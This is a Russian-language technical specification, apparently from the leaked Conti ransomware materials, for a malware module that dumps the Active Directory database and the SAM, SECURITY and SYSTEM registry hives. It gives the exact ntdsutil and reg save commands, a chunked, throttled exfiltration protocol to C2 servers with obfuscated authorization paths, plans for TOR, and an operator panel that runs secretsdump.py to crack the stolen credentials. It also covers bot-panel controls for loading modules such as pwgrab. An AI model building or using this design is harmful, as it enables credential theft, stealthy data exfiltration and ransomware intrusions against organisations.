Conti Ransomware malware leak WITH LOCKER
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 

321 lines
12 KiB

МОДУЛЬ ДАМПА БД ACTIVE DIRECTORY И ЛОКАЛЬНЫХ УЧЕТНЫХ ЗАПИСЕЙ WINDOWS
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ
Выгрузка данных из БД Active Directory и локальных учетных записей, оформленная в виде модуля.
ПРИНЦИП РАБОТЫ
Модуль использует штатную утилиту `ntdsutil' для выгрузки БД.
Затем данные загружаются на сервер, где происходит их дешифровка и анализ пакетом на Питоне impacket / secretsdump.py
Модуль выполняет дамп БД Active Directory как описано в этой статье:
https://devteev.blogspot.com/2014/04/hacking-tricks-easy-way-to-get-ntdsdit.html
Также модуль делает дамп веток реестра HKLM/SAM, HKLM/Security и HKLM/System.
РЕАЛИЗАЦИЯ
Программа должна быть оформлена в виде модуля в соответствии с документом modules_HOWTO.
Название модуля/проекта - ADll.
Исходить из того, что модуль работает с правами SYSTEM.
* Перед началом работы следует проверить, имеется ли на компьютере служба Active Directory.
* Если нет, отправить сообщение "AD not found" и завершить работу.
* Далее, нужно убедиться, работает ли служба Volume Shadow Copy через WinAPI
(аналогом команды sc query vss), и если нет, запустить (перезапустить) эту службу.
* Далее формируются имена файлов дампа.
Всего файлов дампа 4:
ntds.dit
sam.dump
security.dump
system.dump
Однако в файловой системе эти файлы должны иметь другие имена:
<prefix>0.dat
<prefix>1.dat
<prefix>2.dat
<prefix>3.dat
Префикс должен формироваться как хеш строки ParentInfo.ParentID (см. module_HOWTO) и при этом удовлетворять условиям:
- значению на входе всегда соответствует одно и то же значение на выходе
- по выходному значению нельзя восстановить входное
- длина выходного хеша не зависит от длины входной строки
- получаемый хеш содержит только алфавитно-цифровые символы (читаем человеком и дружествен к файловой системе)
- алгоритм несложен.
Можно предложить такой алгоритм:
- рассчитывается 64-разрядная беззнаковая сумма всех байт (трактуемых как unsigned) поля ParentInfo.ParentID
- 64-разрядное целое трактуется как массив unsigned char filename[8]
- все байты, которые меньше 'a', становятся 'a'
- все байты, которые больше 'Z', становятся 'Z'
Таким образом, при условии подачи на вход одной и той же строки, на выходе также всегда получается одна и та же строка, которая выглядит случайно.
Однако выбор алгоритма за разработчиком.
* модуль проверяет наличие хотя бы одного из этих файлов в каталоге %TEMP%
Если файл(ы) есть, происходит их отправка по протоколу передачи файлов.
Описываемый в следующих двух пунктах дамп не производится - потому что, очевидно, модуль не закончил в прошлый раз,
и теперь мы продолжаем работу.
* Далее нужно запустить команду
ntdsutil "ac in ntds" "ifm" "cr fu %temp%\<prefix>0.dat" q q
Если есть возможность, следует реализовать все действия этой команды через WinAPI
(во второй версии; в первой версии делаем через команду).
* Делаем дамп веток реестра HKLM/SAM, HKLM/Security и HKLM/System командами
reg save hklm\sam %temp%\somepath\<prefix>1.dat
reg save hklm\security %temp%\somepath\<prefix>2.dat
reg save hklm\system %temp%\somepath\<prefix>3.dat
* Полученные файлы дампа данных передаются по протоколу передачи файлов (см.соотв.раздел).
При этом сжатие и передача файла работают в потоке с пониженным приоритетом (так, чтобы не давать пиков нагрузки на ЦП и сеть).
Размеры кусков выбираются исходя из константы(настройки) chunksize. По умолчанию размер константы - 10М.
Адреса серверов берутся из конфига случайным образом (см.ниже).
Между отправками каждого куска файла должна быть пауза, выбираемая случайным образом из интервала TIMEOUT_MIN...TIMEOUT_MAX
(константы времени компиляции). Отправка производится в один поток.
Если отправка неудачна (не удалось соединиться; получен ответ, отличный от HTTP 200 OK; ответа не было вовсе),
делается пауза на некоторое время (задать константой времени компиляции), берется следующий случайный сервер,
и так до успеха.
После успешной отправки, модуль отправляет родительскому процессу событие WantRelease и засыпает в вечном цикле
while(1) Sleep(1000);
в ожидании, что родительский процесс завершит работу модуля.
КОНФИГИ
У модуля единственный конфиг с названием srvad.
Конфиг представляет из себя простой текст, с разделителем \r\n.
Одна строка - это один URL, на который следует отправлять данные.
Если не указан префикс протокола http или https, следует выделить из URL порт.
Если порт четный, работа по http, если нечетный - по https.
Для второй версии предусмотреть работу через адреса TOR.
Легковесная библиотека работы через TOR будет предоставлена.
ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ
Протокол передачи файлов удовлетворяет следующим требованиям:
- отсутствие пиковой нагрузки на интернет-канал
- возможность передачи файла по частям.
1) на сервер отправляется основная информация о компьютере через HTTP POST в контейнере multipart/form-data (аналогично обычной отправке html-формы).
POST содержит следующие поля:
timestamp - локальное UNIX-время
ip - поле ParentInfo.SelfIP (см. module_HOWTO)
ip1 - адрес первого сетевого интерфейса
ip2 - адрес второго сетевого интерфейса
...
ipN - адрес N-го сетевого интерфейса
cid - поле ParentInfo.ParentID (см. module_HOWTO)
group - поле ParentInfo.ParentGroup (см. module_HOWTO)
hostname - имя хоста, полученное через GetComputerName()
source - строка `ntds'
Отправка происходит на url вида:
http://foo.com/<junk>/<auth>/<junk>
junk - произвольные символы, допустимые в URI, кроме слеша /
auth - авторизующая секция. Предполагается, что тот кто отправляет запрос,
должен знать правила формирования этой секции.
Это - рандом любой длины.
В ней обязательны:
- буква Z в любой позиции
- сумма цифр (не чисел!) с 6 по 15-ю позицию должна быть 31.
Символы между ними - рандом. В частности там может находиться и Z.
Пример секции - abcde7ol7k9hi8mZ
2) далее отправляется каждый файл по частям, запросом HTTP POST, в контейнере multipart/form-data.
Файл передается в поле file.
Имя файла берется из тега Content-Disposition; имя временного файла из URI игнорируется.
При этом:
- отправка файла начинается с конца. К примеру, если файл длиной 100М, мы отправляем последние 10М файла.
- после отправки куска файла и получения подтверждения, файл усекается - остается только неотправленная часть, начиная с конца.
Это делается для того, чтобы простым образом сохранять состояние отправки, и минимизировать число файловых операций.
Усечь файл можно вызовом SetEndOfFile().
- перед отправкой, отправляемый кусок файла читается в память и сжимается алгоритмом gzip.
- отправка производится на URL вида
http://foo.com/<junk>/<auth>/<cid>/<filename>/<start>/<end>/<eof>
где
junk - произвольные символы, допустимые в URI, кроме слеша /
auth - авторизующая секция. Это - рандом любой длины, в котором обязательны
- буква S в любой позиции
- сумма цифр (не чисел!) с 8 по 15-ю позицию должна быть 25.
filename - имя временного файла;
start - начальное смещение передаваемого куска относительно начала файла; здесь допустимы и буквы, и цифры.
Но значащими являются только цифры, в порядке появления в строке.
Например, 0A -- это число 0 (цифра 0 значащая, буква A игнорируется).
end - конечное смещение передаваемого куска относительно начала файла; правила те же, что и для start.
Например, 3A5A2A3A9A5A9A - это 3523959.
eof - признак конца файла. Если признак есть, это последний кусок файла; и наоборот (секция необязательная)
Это рандом любой длины, в котором обязательны:
- первая цифра чётная или 0
- последняя буква A или F
Последний символ имени файла (до расширения) имеет следующее значение:
0 - ntds.dit
1 - sam.dump
2 - security.dump
3 - system.dump
При обработке ошибок, код HTTP-ответа 200 не говорит об успехе операции,
но код не-200 говорит о неуспехе операции (например, 50* или 40* от прокси).
Точный код операции содержится внутри XML в теле HTTP-ответа, внутри тега <response>.
При получении кода ответа вида 4041, добавочный символ 1 - это внутренний код ошибки сервера (включен только во время отладки).
Например, следующий ответ свидетельствует об ошибке с кодом 9:
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 07 Oct 2019 13:08:44 GMT
Content-Type: application/xml; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept
<?xml version="1.0" encoding="UTF-8"?>
<response>4049</response>
Следующий ответ - ошибки нету, все ок
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 07 Oct 2019 13:08:44 GMT
Content-Type: application/xml; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept
<?xml version="1.0" encoding="UTF-8"?>
<response>200</response>
АДМИНКА
Использование получаемых данных будет производиться через админку.
Требования к оформлению минимальные - разумная простота.
Главный экран показывает список последних полученных данных в формате таблицы:
датавремя | ClientID| Group | IP | Hostname | Total Size
с пейджингом.
датавремя - для последнего приема по выбранному ClientID (см.ниже о группировке посылок).
Предусмотреть фильтрацию по полям:
- датавремя (диапазон от и до)
- ClientID
- Group
- IP
- Hostname
- Total Size (диапазон от и до)
Язык интерфейса - английский.
Все скрипты не должны содержать русских строк и переменных по-русски (var $issledovanie - плохо; var $research - хорошо).
В списке должна быть сортировка по полям заголовка.
Запись можно открыть на просмотр; запись можно удалить (после трех предупреждений "Вы уверены?" со всем большим шрифтом и все более красным цветом).
Кнопка удаления записи доступна только в открытой на просмотр записи.
Добавление и редактирование записей не предусмотрено.
В открытой записи должны быть перечислены файлы, содержащиеся в записи; каждый файл можно скачать.
В открытой записи должна быть кнопка "Анализ данных".
Пока проходит анализ, должен "крутиться" индикатор анализа (колесико часов или вроде того).
Анализ данных Active Directory происходит путем запуска двух скриптов:
sudo ./secretsdump.py -ntds ntds.dit -system SYSTEM -outputfile result local
где ntds.dit и SYSTEM - это необработанные файлы из полученного от модулей архива
result - имя результирующего файла
Анализ локальных учетных записей:
secretsdump.py -sam sam.dump -security security.dump -system system.dump LOCAL
При этом, админка должна:
- выгрузить куда-нибудь во временную папку нужные скрипту файлы ntds.dit, sam.dump, security.dump, system.dump
(эти файлы и содержатся в записи)
- запустить скрипты, подсунув им пути к этим файлам
- прочитать stdout, stderr скриптов и выдать их во фрейме на странице
- добавить кнопку "Скачать результат анализа", чтобы скачать результат анализа, в виде .txt или .zip.
Для этого возможно придется кешировать результат анализа, либо сохранять его в записи.
***
Установка скрипта на Питоне примерно следующая:
pip
pip install impacket
pip install impacket --upgrade (if needed)
pip install pycrypto (--upgrade if needed)
pip install pyasn1 (if needed)
apt-get install python-dev (if needed)
API АДМИНКИ
Админка должна выставить API для получения данных от модулей:
POST /api/v1/hello HTTP/1.1
Этот запрос создает либо обновляет запись с метаданными от конкретного клиента. Данных файла в нем пока нет
(см. ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ).
POST /api/v1/savef/<cid>/<filename>/<start>/<end>/e
Этот запрос позволяет сохранить часть файла (см. ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ).
Все ответы 200 - ОК.
Все ответы не 200 - ошибка. Уточняющий текст ошибки на усмотрение разработчика API.
При создании хранилища данных исходить из того, что размер файлов может быть значителен (гигабайты в одной посылке).
Архив с данными всегда содержит одинаковый набор данных. Имена файлов могут уточняться, но в первом приближении это:
ntds.dit
sam.dump
security.dump
system.dump
При сохранении данных в БД/на диск нужно сохранять дату-время их прихода.
ВАЖНО!
Одну условную ЗАПИСЬ в БД формирует 4 (четыре!) файла.
За одну посылку можно передать только один файл (в лучшем случае).
Поэтому, при сохранении в БД, нужно группировать файлы к основной записи по ключу cid.
Учитывать, что передача гигабайтных пакетов может занимать несколько суток.
МОДИФИКАЦИЯ "ТЕМНОЙ" АДМИНКИ
Нужно так модифицировать "темную" админку, чтобы можно было просто запускать модули.
На экране с деталями бота (/log/1234) нужно добавить список кнопок с именами часто используемых модулей, например
injectDll
pwgrab
importDll
итд
Эти имена можно брать как из справочника известных модулей, так и жестко вшить в код (первое предпочтительно).
Для уже загруженных и работающих на боте модулей кнопка с его именем должна работать на выключение (т.е. нажатие на кнопку выгружает модуль).
Для не работающих модулей кнопка загружает модуль.
Т.к. реакция на загрузку модуля происходит в течение нескольких минут, нужно блокировать кнопку от нажатия, до получения реакции от бота.